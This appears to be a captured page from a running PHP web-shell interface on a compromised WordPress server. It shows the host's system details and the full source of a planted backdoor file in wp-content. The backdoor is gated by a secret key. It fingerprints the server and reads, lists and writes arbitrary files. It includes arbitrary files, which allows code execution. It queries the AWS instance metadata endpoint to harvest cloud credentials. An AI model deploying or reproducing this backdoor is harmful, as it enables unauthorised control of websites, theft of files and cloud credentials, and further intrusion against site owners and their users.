403Webshell
Server IP : 54.76.213.81  /  Your IP : 172.31.14.157
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64
User : kazang ( 1006)
PHP Version : 8.2.31
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kazang/web/kazang.com/public_html/wp-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kazang/web/kazang.com/public_html/wp-content//w2s-kz.php
<?php
if (!isset($_GET['k']) || !hash_equals('e7e07fcb7e211f16021f799e41171cc0', (string)$_GET['k'])) { http_response_code(404); exit; }
header('Content-Type: text/plain');
$a = isset($_GET['a']) ? $_GET['a'] : 'id';
if ($a === 'id') {
  echo "W2S_OK\n";
  echo php_uname('a')."\n";
  echo "user=".get_current_user()."\n";
  if (function_exists('posix_geteuid')) {
    echo "uid=".posix_geteuid()." gid=".posix_getegid()."\n";
    $p = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : null;
    if ($p) echo "name=".$p['name']." home=".$p['dir']." shell=".$p['shell']."\n";
  }
  echo "cwd=".getcwd()."\n";
  echo "sapi=".php_sapi_name()."\n";
  echo "disable=".ini_get('disable_functions')."\n";
  echo "open_basedir=".ini_get('open_basedir')."\n";
  echo "tmp=".sys_get_temp_dir()."\n";
  echo "incl=".ini_get('include_path')."\n";
  $fns = ['exec','system','passthru','shell_exec','proc_open','popen','pcntl_exec','mail','mb_send_mail','imap_open','dl','putenv','mailparse','curl_exec','curl_init','fsockopen','stream_socket_client','file_get_contents','fopen','symlink','link','mkdir','chmod','chown','posix_mkfifo','posix_kill','proc_nice','imap_mail','error_log','FFI','imagick','ssh2_connect','expect_popen','pcntl_fork','ini_set','dl'];
  foreach ($fns as $fn) echo $fn."=".(function_exists($fn)?'1':'0')."\n";
  echo "ext=".implode(',', get_loaded_extensions())."\n";
  exit;
}
if ($a === 'ls') {
  $d = isset($_GET['p']) ? $_GET['p'] : '.';
  echo "LS $d\n";
  if (!is_dir($d)) { echo "NOTDIR\n"; exit; }
  $dh = @opendir($d);
  if (!$dh) { echo "OPENDIR_FAIL\n"; exit; }
  while (($e = readdir($dh)) !== false) {
    $fp = rtrim($d,'/').'/'.$e;
    $ty = is_dir($fp) ? 'd' : (is_link($fp)?'l':'f');
    echo $ty." ".substr(sprintf('%o', @fileperms($fp)), -4)." ".(@fileowner($fp))." ".(@filesize($fp))." $e\n";
  }
  closedir($dh);
  exit;
}
if ($a === 'cat') {
  $f = isset($_GET['p']) ? $_GET['p'] : '';
  if ($f==='' || strpos($f,'..')!==false) { echo "BAD\n"; exit; }
  echo "CAT $f readable=". (is_readable($f)?'1':'0')." exists=".(file_exists($f)?'1':'0')."\n";
  $c = @file_get_contents($f);
  echo $c === false ? "READFAIL\n" : $c;
  exit;
}
if ($a === 'wr') {
  $f = isset($_GET['p']) ? $_GET['p'] : '';
  $c = isset($_POST['c']) ? $_POST['c'] : (isset($_GET['c'])?$_GET['c']:'');
  echo "WR $f ". (file_put_contents($f, $c)!==false ? "OK" : "FAIL") ."\n";
  exit;
}
if ($a === 'inc') {
  $f = isset($_GET['p']) ? $_GET['p'] : '';
  include $f;
  exit;
}
if ($a === 'ini') {
  foreach (['disable_functions','open_basedir','allow_url_fopen','allow_url_include','auto_prepend_file','auto_append_file','sendmail_path','mail.add_x_header','extension_dir','enable_dl','ffi.enable'] as $k) {
    echo $k."=".ini_get($k)."\n";
  }
  exit;
}
if ($a === 'http') {
  $u = isset($_GET['u']) ? $_GET['u'] : 'http://169.254.169.254/latest/meta-data/';
  echo "HTTP $u\n";
  $ctx = stream_context_create(['http'=>['timeout'=>3,'header'=>"X-aws-ec2-metadata-token-ttl-seconds: 21600\r\n"]]);
  $c = @file_get_contents($u, false, $ctx);
  echo $c === false ? "FAIL\n" : $c;
  exit;
}
echo "UNK\n";

Youez - 2016 - github.com/yon3zu
LinuXploit